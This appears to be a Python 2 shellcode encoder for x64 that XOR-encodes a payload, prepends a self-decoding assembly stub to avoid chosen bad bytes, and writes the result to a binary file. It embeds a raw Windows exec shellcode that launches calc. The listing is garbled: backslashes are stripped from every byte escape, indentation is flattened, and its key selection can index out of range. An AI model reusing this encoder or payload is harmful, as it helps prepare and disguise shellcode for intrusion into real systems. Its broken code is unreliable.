#!/usr/bin/env python
#Filename: Xor_QWORD_x64.py
#coding=utf-8
import re
import sys
import random
import struct
class QWORDXorEncoder:
def __init__(self):
self.name = "x64 QWORD Xor Encoder"
self.description = "x64 QWORD Xor shellcode encoder"
self.author = "Danny__Wei"
self.bad_chars = []
self.bad_keys = [[] for i in range(8)]
self.good_keys = [[] for i in range(8)]
self.final_keys = []
self.shellcode = ""
self.encoded_shellcode = ""
self.encoded_payload_length = 0
self.encoder_bad_chars = ["48", "31", "c9", "81", "e9", "8d", "05", "bb", "58", "27", "2d", "f8", "ff", "e2", "f4"]
self.misc_comments = """
#This is the decoder stub
"x48x31xC9" + # xor rcx, rcx
"x48x81xE9" + block_count + # sub ecx, block_count
"x48x8Dx05xEFxFFxFFxFF" + # lea rax, [rel 0x0]
"x48xBBXXXXXXXX" + # mov rbx, 0x????????????????
"x48x31x58x27" + # xor [rax+0x27], rbx
"x48x2DxF8xFFxFFxFF" + # sub rax, -8
"xE2xF4" # loop 0x1B
"""
def all_the_stats(self):
print "
[Output] Encoder Name:
" + self.name
string_bad_chars = ''
for bchar in self.bad_chars:
string_bad_chars += hex(bchar) + " "
print "
[Output] Bad Character(s):
" + string_bad_chars
print "
[Output] Shellcode length:
" + str(self.encoded_payload_length)
j = 1;
key = 0
for i in self.final_keys:
key += i * j
j *= 0x100
print ('
[Output] Xor Key:
%08X' % key)
def shellcode_to_bin(self):
hFile = file('Xor_x64_encoded.bin', 'wb+')
hFile.write(self.encoded_shellcode)
hFile.close()
return
def set_shellcode(self, shellcode):
shellcode = shellcode.decode('string-escape')
self.shellcode = bytearray(shellcode)
return
# This function was copied from Justin Warner (@sixdub)
def set_bad_characters(self, bad_characters):
final_bad_chars = []
bad_characters = bad_characters.split('x')
# Do some validation on the received characters
for item in bad_characters:
if item == '':
pass
elif item in self.encoder_bad_chars:
print "
[Error] Encoder Error: Bad character specified is used for the decoder stub."
print "[Error] Encoder Error: Please use different bad characters or another encoder!"
sys.exit()
else:
if len(item) == 2:
# Thanks rohan (@cptjesus) for providing this regex code, and making me too lazt
# to do it myself
rohan_re_code = re.compile('[a-f0-9]{2}',flags=re.IGNORECASE)
if rohan_re_code.match(item):
final_bad_chars.append(item)
else:
print "
[Error] Bad Character Error: Invalid bad character detected."
print "[Error] Bad Character Error: Please provide bad characters in \x00\x01... format."
sys.exit()
else:
print "
[Error] Bad Character Error: Invalid bad character detected."
print "[Error] Bad Character Error: Please provide bad characters in \x00\x01... format."
sys.exit()
for x in final_bad_chars:
self.bad_chars.append(int("0x"+x,16))
return
def find_bad_keys(self):
for key in range(0x100):
for bad in self.bad_chars:
char = key ^ bad
for count in xrange(8):
for i in xrange(count, len(self.shellcode), 8):
if char == self.shellcode[i]:
self.bad_keys[count].append(key)
break
return
def find_key(self):
for count in xrange(8):
for key in range(0x100):
if key not in self.bad_keys[count]:
self.good_keys[count].append(key)
for count in xrange(8):
if len(self.good_keys[count]) == 0:
print "
[Error] Encoder Error: Can't find available keys."
print "[Error] Encoder Error: Please use different bad characters or another encoder!"
sys.exit()
i = random.randint(0, len(self.good_keys[count]))
self.final_keys.append(self.good_keys[count][i])
return
def decoder_stub(self):
block_count = -( ( (len(self.shellcode) - 1) / 8) + 1)
str = struct.pack('<l', block_count)
decoder = "x48x31xC9" + "x48x81xE9" + str + "x48x8Dx05xEFxFFxFFxFF" + "x48xBBXXXXXXXX" + "x48x31x58x27" + "x48x2DxF8xFFxFFxFF" + "xE2xF4"
'''
decoder = "x48x31xC9" + # xor rcx, rcx
"x48x81xE9" + block_count + # sub ecx, block_count
"x48x8Dx05xEFxFFxFFxFF" + # lea rax, [rel 0x0]
"x48xBBXXXXXXXX" + # mov rbx, 0x????????????????
"x48x31x58x27" + # xor [rax+0x27], rbx
"x48x2DxF8xFFxFFxFF" + # sub rax, -8
"xE2xF4" # loop 0x1B
'''
return decoder
def do_encode(self):
stub = self.decoder_stub()
key = 0
str = ''
for key in self.final_keys:
str += struct.pack('B', key)
stub = stub.replace('XXXXXXXX', str)
# check out the final decoder stub
for byte in bytearray(stub):
if byte in self.bad_chars:
print "
[Error] Encoder Error: Bad character specified is used for the decoder stub."
print "[Error] Encoder Error: Please use different bad characters or another encoder!"
sys.exit()
stub = bytearray(stub)
mod = 0
byte = 0
count = 0
for byte in bytearray(self.shellcode):
if count < 8:
mod = count
else:
mod = count % 8
count += 1
enbyte = byte ^ self.final_keys[mod]
stub.append(enbyte)
self.encoded_shellcode = stub
self.encoded_payload_length = len(stub)
return
def encode(self):
self.find_bad_keys()
self.find_key()
self.do_encode()
if __name__ == '__main__':
shellcode = (
"xFCx48x83xE4xF0xE8xC0x00x00x00x41x51x41x50x52x51"
"x56x48x31xD2x65x48x8Bx52x60x48x8Bx52x18x48x8Bx52"
"x20x48x8Bx72x50x48x0FxB7x4Ax4Ax4Dx31xC9x48x31xC0"
"xACx3Cx61x7Cx02x2Cx20x41xC1xC9x0Dx41x01xC1xE2xED"
"x52x41x51x48x8Bx52x20x8Bx42x3Cx48x01xD0x8Bx80x88"
"x00x00x00x48x85xC0x74x67x48x01xD0x50x8Bx48x18x44"
"x8Bx40x20x49x01xD0xE3x56x48xFFxC9x41x8Bx34x88x48"
"x01xD6x4Dx31xC9x48x31xC0xACx41xC1xC9x0Dx41x01xC1"
"x38xE0x75xF1x4Cx03x4Cx24x08x45x39xD1x75xD8x58x44"
"x8Bx40x24x49x01xD0x66x41x8Bx0Cx48x44x8Bx40x1Cx49"
"x01xD0x41x8Bx04x88x48x01xD0x41x58x41x58x5Ex59x5A"
"x41x58x41x59x41x5Ax48x83xECx20x41x52xFFxE0x58x41"
"x59x5Ax48x8Bx12xE9x57xFFxFFxFFx5Dx48xBAx01x00x00"
"x00x00x00x00x00x48x8Dx8Dx01x01x00x00x41xBAx31x8B"
"x6Fx87xFFxD5xBBxF0xB5xA2x56x41xBAxA6x95xBDx9DxFF"
"xD5x48x83xC4x28x3Cx06x7Cx0Ax80xFBxE0x75x05xBBx47"
"x13x72x6Fx6Ax00x59x41x89xDAxFFxD5x63x61x6Cx63x00")
shell = QWORDXorEncoder()
shell.set_shellcode(shellcode)
shell.set_bad_characters('x00x0a')
shell.encode()
shell.all_the_stats()
shell.shellcode_to_bin()
else:
pass